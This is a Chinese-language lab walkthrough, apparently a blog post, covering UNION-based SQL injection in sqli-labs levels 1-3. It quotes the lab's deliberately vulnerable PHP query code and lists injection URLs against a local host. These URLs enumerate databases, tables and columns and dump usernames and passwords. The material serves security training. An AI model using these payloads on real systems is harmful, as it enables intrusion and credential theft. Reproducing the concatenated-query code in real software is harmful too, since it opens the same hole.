SQL注入常用语法(sqli-labs-less1-3)

以sqli-labs:less1-3为例

常用参数、函数变量

database() 查当前数据库
user() 当前用户
version() 版本
information_schema 是mysql信息数据库
特点:对用户的权限没有限定或者是限定不高,因为在物理上它并不存在,只是视图。
查询:
schema_name 库名
table_name 表名
column_name 列名
指定:
table_schema 数据库

less-1(字符型注入)

主要代码:index.php
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables 
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity 


$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysqli_query($con, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);

可以发现其sql语句是字符串拼接的!
具体判断可参考此文章:SQL整型与字符型注入判断

1、判断查询字段数
http://127.0.0.1/sqli-labs/Less-1/?id=1' order by 3 --+
3的时候恰好与 id=1的输出界面一样,说明前面的查询字段数是3

在这里插入图片描述

2、查询当前数据库管理用户、数据库、版本
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,concat_ws(char(32,58,32),user(),database(),version()) --+

在这里插入图片描述

3、查询security库下的表
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

也可将 security 用hex编码后 0x7365637572697479 代替,此时不需要单引号了!
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 --+

在这里插入图片描述

4、查询 security 库下 users 表里的 列名
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+

在这里插入图片描述

5、查询 security 库下 users 表里 password、username 的数据
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(concat_ws(char(32,58),username,password)) from users--+

也可以这样构造:
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,group_concat(char(32),username,char(32)),group_concat(char(32),password,char(32)) from users--+

在这里插入图片描述

6、通过 information_schema 查询所有数据库
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(char(32),schema_name) from information_schema.schemata --+

在这里插入图片描述
可登入 phpMyAdmin管理页面查看数据库信息
在这里插入图片描述

7、查询其他数据库
通过第2步查询到当前数据库的管理用户为:root 权限很高
这样亦可以直接指定数据库或表去查询!
e.g.  http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(char(32),concat_ws(char(58),user,password)) from dvwa.users --+

在这里插入图片描述
在这里插入图片描述

less-2 (整形注入)

index.php 部分代码:

在这里插入图片描述

注入语句构造:
与 less-1 类似
e.g. http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'

less-3

在这里插入图片描述
括号+字符串形式,考虑采用 ') --+ 闭合注入

注入语句构造:
与 less-1 类似
e.g. http://127.0.0.1/sqli-labs/Less-3/?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+

注意: 细心的朋友可能发现注入时把1改成-1,原因是当用id=1的时候执行的结果只有一条记录,这是因为在 index.php 中并没有循环取出数据。
只是用 if 判断了一次 而不是while!

解决方法是: 让第一行查询的结果是空集(即union左边的select子句查询结果为空),那么union右边的查询结果自然就成为了第一行,就打印在网页上了,这个id他一般传的是数字,而且一般都是从1开始自增的,我们可以把id值设为非正数(负数或0),浮点数,字符型或字符串都行。

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
$result=mysqli_query($con, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);

	if($row)
	{
  	echo "<font size='5' color= '#99FF00'>";
  	echo 'Your Login name:'. $row['username'];
  	echo "<br>";
  	echo 'Your Password:' .$row['password'];
  	echo "</font>";
  	}
	else 
	{
	echo '<font color= "#FFFF00">';
	print_r(mysqli_error($con));
	echo "</font>";  
	}
}
	else { echo "Please input the ID as parameter with numeric value";}

?>
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值